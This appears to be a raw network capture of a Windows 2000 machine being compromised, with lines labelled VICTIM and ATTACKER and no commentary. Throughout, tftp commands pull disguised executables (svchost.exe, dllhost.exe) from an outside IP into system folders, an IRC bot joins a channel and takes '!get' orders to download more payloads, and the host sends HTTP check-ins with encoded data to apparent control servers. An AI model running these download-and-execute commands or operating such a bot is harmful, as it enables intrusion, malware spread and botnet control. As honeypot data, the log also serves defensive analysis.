Client: dir dllcache\\\\tftpd.exe; Client: tftp -i 24.249.134.70 get svchost.exe wins\\\\SVCHOST.EXE


VICTIM:  	Microsoft Windows 2000 [Version 5.00.2195] 
VICTIM:  	(C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	tftp -i 24.249.134.70 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29456 bytes in 6 seconds, 4909 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	tftp -i 24.249.134.70 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 4 seconds, 4992 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK xpjluvfbUSER k020500 . . :- 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG xpjluvfb :!get http:/bb.iwillhavebigdick.com/kp.exe:u. PRIVMSG xpjluvfb :!get http:/www.derquda.com/kb8.txt 
VICTIM:  	GET /kb8.txt HTTP/1.0User-Agent: DownloadHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/klm1.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/nop4.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/lmn2.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/mno3.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
VICTIM:  	\001\000\000\000\037\227\007g 
VICTIM:  	\025\310\3741\225 ?\031\ti\014\236\027i|\360v\332\007\262y+b\254\227\355\354\025\310\3741\226 ?\031\013i\236\033ij\361j\327{\236\037i\007\236\025\310\3741\224 ?\031\013i\017\236\033iz\373l\334p\361qiy\344\030\320\025\310\3741\227 ?\031\013i\016\236\033i}\373q\315v\354\037l\007\236\037\025\310\3741\226 ?\031i\017\236\035is\372m\335\200\356zi\010\236\025\310\3741\227 ?\031\013i\016\236\033is\372m\337l\354\037\315\007\236\037\025\310\3741\246 ?\031\006i\016\236\014i~\367q\337l\354\037n\007\236\037i\007\236\037\374\017\236\037k\007\236\037i\007\237\027\337\3607\206 ?\031 
ATTACKER:	GET /list.php?c=5B43DA0DC5733F93D433F9D11055A2731881241FE7C55DCA685FEEAF9C3B4870D0EE819CC2B577199FE640DA410404261AE0AB5CA9D00E5F7206&v=2&t=0.9906122 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: bestkind.ruConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /upload/int.exe?t=0.0494501 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: nonamedomain.inConnection: Keep-AlivePragma: no-cache 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	GET /sn.php?c=DFC15FBB06960EA9B2A882B20A73FB3D3AF2360E46597AB063510A43228E220EF6A6EF03D7BC1A311027E19081BEDA3DD325CA7D750036675B3FA30AD47C98F7F488DCAA60B38D128AB0FE848F61835C60978FB2DEA0D0D605A735586880F78385D31F15B7AC278BDC6FA126DADA059FB0471E31B8FFAB8C3F662B44A315F14F9591F1563105EB29033BD3874786B232&t=0.2522089 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: bestkind.ruConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=FDE3F7130C9CB512342EB585E69F2DEBF63E2E16809F854FB785D0992884270B4818FD1143282F046354542587B8CE29847231866B1EF0A1FB9F77DEDB731C73403C8DFB2FFC9C0386BCA6DC5EB0DF009364467B6F111B1DCE6C016C31D936429ACC868C2C37E74BE251DD4BD72E1890F500EDB30B5890A195814134B81ACE344A5A0CA9D7E63887FCCF6A3DA069750BC11D&t=0.7741815 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: bestkind.ruConnection: Keep-AlivePragma: no-cache 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu